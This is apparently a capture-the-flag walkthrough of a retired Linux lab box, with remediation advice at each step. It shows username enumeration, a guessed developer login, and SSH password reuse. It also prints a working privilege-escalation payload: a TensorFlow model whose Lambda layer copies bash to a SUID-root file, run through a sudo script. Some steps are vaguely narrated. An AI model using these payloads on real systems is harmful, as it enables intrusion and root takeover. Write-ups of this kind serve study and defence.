← all walkthroughs

Forgot

Linux· Medium
owned
2026-10-09
time to own
28m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Flask/Werkzeug web portal behind a Varnish cache. Its password-reset page told my which usernames were valid, and a developer comment left in the login page's HTML leaked an internal username.

Using that identity and the application's reset and login flow, I got an authenticated session. Inside the application they recovered the SSH password for the operating-system account 'diego', and that password worked on the host.

Diego's sudo rights allowed a root-run machine-learning security script that loaded TensorFlow models with safe mode turned off. A crafted model file ran my code as root, which gave full control of the server.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for robert-dev-367120>"
export PASSWORD2="<the-password-you-recovered, for robert-dev-14522>"
export PASSWORD3="<the-password-you-recovered, for diego>"

Some commands also carry a value in angle brackets — <models-dir>, <path-to> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and web content discovery (T1595)
Mapped the exposed services and the web application
Only SSH (22/tcp) and a web server (80/tcp) were reachable. The web server was a Python Werkzeug 2.1.2 application behind a Varnish 6.2 cache. It presented a login page with a 'Forgot password' link and a ticketing/home area that redirected back to the login page when the visitor was not signed in.
Server: Werkzeug/2.1.2 Python/3.8.10, Via: 1.1 varnish (Varnish/6.2); /tickets and /home returned 302 to /.
Exact commands 3
shell

Confirm only 22/tcp and 80/tcp are open and identify the web stack.

$ nmap -sC -sV -p- --min-rate 2000 $TARGET
shell

Fetch the landing page and response headers.

$ curl -ksS -L --max-time 15 -D - http://$TARGET/
shell

Shows that protected pages redirect to the login page.

$ curl -ksS -L --max-time 15 -D - http://$TARGET/tickets
2EnumerationUsername enumeration and information disclosure in HTML comments (CWE-204, CWE-615)
Used the password-reset page to confirm valid usernames and read a leaked developer name
The page's JavaScript called GET /forgot?username=<user> and displayed the server's reply directly. A valid account returned a different message ('Admin password can't be reset') from an unknown one ('Invalid Username'), so I could test names one by one. The login page's HTML also contained a developer comment, 'Q1 release fix by robert-dev-367120', which disclosed an internal account naming pattern.
Admin returned "Admin password can't be reset"; invalid_no_such_user returned "Invalid Username"; the page source contained '<!-- Q1 release fix by robert-dev-367120 -->'.
Exact commands 3
shell

Valid account: returns the 'can't be reset' message.

$ curl -sS --max-time 15 --get --data-urlencode username=admin http://$TARGET/forgot
shell

Unknown account: returns 'Invalid Username'. The different replies are the enumeration oracle.

$ curl -sS --max-time 15 --get --data-urlencode username=invalid_no_such_user http://$TARGET/forgot
shell

Read the page source to find the developer comment leaking 'robert-dev-367120'.

$ curl -sS --max-time 15 http://$TARGET/ | sed -n '165,240p'
FixStop the password-reset page from revealing valid usernames and remove developer comments from page sourceMedium
WeaknessThe /forgot endpoint gave different replies for existing and non-existing accounts, so an unauthorised user could check any name. A developer comment in the login page's HTML also named an internal developer account.
FixReturn the same generic message for every username ('If the account exists, a reset link has been sent'), with matching response timing, and rate-limit /forgot. Strip HTML comments and internal identifiers from production templates, and add a pre-release check that fails the build if comments with names or ticket references remain.
3Initial AccessWeak, guessable credentials and insecure password-reset flow (T1078, CWE-640)
Obtained an authenticated web session as a developer account
I first tried an SQL injection payload and the leaked developer name with its own name or 'password' as the password. All of these failed, so the application did not appear injectable. I then examined the /reset page, whose JavaScript posts a new password with the request's query string. Using the same account family (robert-dev-14522) with the password, I logged in. The server issued a session cookie and redirected to /home.
POST /login with robert-dev-14522 / <withheld> returned a Set-Cookie session and window.location.href="/home". The earlier guesses returned the login page again.
Exact commands 3
shell

Review the reset form's JavaScript to see how the new password is submitted.

$ curl -sS --max-time 15 http://$TARGET/reset | sed -n '155,215p'
shell

Default-credential guess based on the leaked name (failed).

$ curl -i -sS --max-time 15 -c /tmp/forgot-default.cookies -X POST -d "username=robert-dev-367120&password=$PASSWORD" http://$TARGET/login
shell

Successful login; the session cookie is saved to /tmp/forgot-auth.cookies.

$ curl -i -sS --max-time 15 -c /tmp/forgot-auth.cookies -X POST -d "username=robert-dev-14522&password=$PASSWORD2" http://$TARGET/login
FixEnforce strong passwords and a secure, token-protected reset processHigh
WeaknessA developer account could be reached with a guessable, pattern-based password, and the reset page accepted new passwords through a simple form. As a result, knowing a username was enough to get a valid web session.
FixRequire a single-use, time-limited reset token sent to the account owner's registered email address, and reject resets without it. Enforce a password policy that blocks passwords derived from the application or account name. Add lockout and rate limiting on /login, and require MFA for staff and developer accounts. Remove stale or test developer accounts.
4Credential AccessUnsecured credentials reachable from an authenticated session (T1552)
Recovered the SSH password for the operating-system user 'diego' from the application
Once signed in, I used the authenticated application to find credentials for the Linux account 'diego'. This is credential reuse, because an application account gave access to a working host password.
The run recorded the new credentials robert-dev-14522 and diego immediately after the authenticated session was established.
Exact commands 2
shell

Browse the authenticated area (home, tickets and similar pages) and read the content for credentials or sensitive data.

$ curl -sS -b /tmp/forgot-auth.cookies http://$TARGET/home
shell

Review ticket content for passwords shared with support or staff.

$ curl -sS -b /tmp/forgot-auth.cookies http://$TARGET/tickets
FixKeep operating-system credentials out of the application and do not reuse passwordsHigh
WeaknessA working Linux SSH password for the user 'diego' could be recovered once an unauthorised user was signed in to the web application. This turned a web account compromise into shell access on the server.
FixNever store or display host passwords in tickets, pages or notes. Use a secrets manager and rotate the exposed diego password now. Restrict SSH to key-based authentication (PasswordAuthentication no), limit it to a management network or VPN, and give each system and application a unique credential.
5FootholdValid accounts over SSH (T1021.004, T1078)
Logged in over SSH as diego and read the user flag
The recovered password worked against SSH. This gave an interactive shell as the unprivileged user 'diego' (uid 1000) on the host 'forgot'. I ran 'id' to prove the access level and then read the user flag from diego's home directory.
Uid=1000(diego) gid=1000(diego) groups=1000(diego).
Exact commands 3
shell

Confirm SSH access and the uid.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no diego@$TARGET id
uid=1000(diego) gid=1000(diego) groups=1000(diego)
shell

Open an interactive shell; the password is $PASSWORD3.

$ ssh diego@$TARGET
shell

Prove the access level, then read the flag (<user.txt>).

$ id; hostname; cat /home/diego/user.txt
6Privilege EscalationSudo misconfiguration, allowing a user-writable input into a root-run program (T1548.003)
Found a sudo rule that runs a root-owned ML security script
Local enumeration showed that diego could run a machine-learning security script (ml_security.py) as root through sudo, without needing the root password. The script loads TensorFlow model files that a low-privileged user can supply. Whoever controls those files controls what the root-run script loads.
The engagement finding records a 'TensorFlow safe=False eval via sudo ml_security.py' path to root.
Exact commands 2
shell

List the commands diego may run as root. Note the full path of ml_security.py and any argument restrictions.

$ sudo -l
shell

Substitute the path reported by sudo -l. Look for keras/tf load_model calls with safe_mode=False and for the directory the script reads models from.

$ cat <path-to>/ml_security.py
FixRemove the sudo rule or make the ML security script load only trusted, safe model formatsCritical
Weaknessdiego could run ml_security.py as root through sudo. The script loaded TensorFlow models with safe mode disabled, from input a low-privileged user controls. A model's embedded Python code therefore ran with root privileges.
FixRemove the sudo entry unless it is essential. If it is required, load models only with safe_mode=True and never enable unsafe deserialization. Accept only vetted models from a root-owned, non-writable directory, verify their hashes or signatures, and prefer data-only formats such as SavedModel weights or safetensors. Pin the script and its directory to root ownership and use an absolute path with fixed arguments in sudoers.
7Privilege EscalationInsecure deserialization of a TensorFlow/Keras model (CWE-502), with sudo abuse (T1548.003)
Executed code as root through an unsafe TensorFlow model load
TensorFlow/Keras models can contain 'Lambda' layers that hold arbitrary Python. With safe mode disabled, loading a model runs that code. I built a model whose Lambda layer ran a command, placed it where the script looks for models, and ran the script through sudo. The command executed as root, giving a root shell, and I read the root flag.
Root-owned status was reached and root.txt was captured after the sudo-run script processed my model.
Exact commands 4
shell

Build a malicious .h5 model with a Lambda layer that creates a SUID-root shell. Build it on a machine with a matching TensorFlow version, then copy it to the target.

$ python3 -c "import tensorflow as tf; m=tf.keras.Sequential([tf.keras.layers.Input((1,)), tf.keras.layers.Lambda(lambda x: __import__('os').system('cp /bin/bash /tmp/rb; chmod u+s /tmp/rb') or x)]); m.save('/tmp/evil.h5')"
shell

Place the model in the directory the script reads (<models-dir> comes from the script's source).

$ cp /tmp/evil.h5 <models-dir>/evil.h5
shell

Run the allowed script exactly as sudo -l permits. Loading the model executes the payload as root.

$ sudo <path-to>/ml_security.py
shell

Prove root with the id output, then read the flag (<root.txt>).

$ /tmp/rb -p -c 'id; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp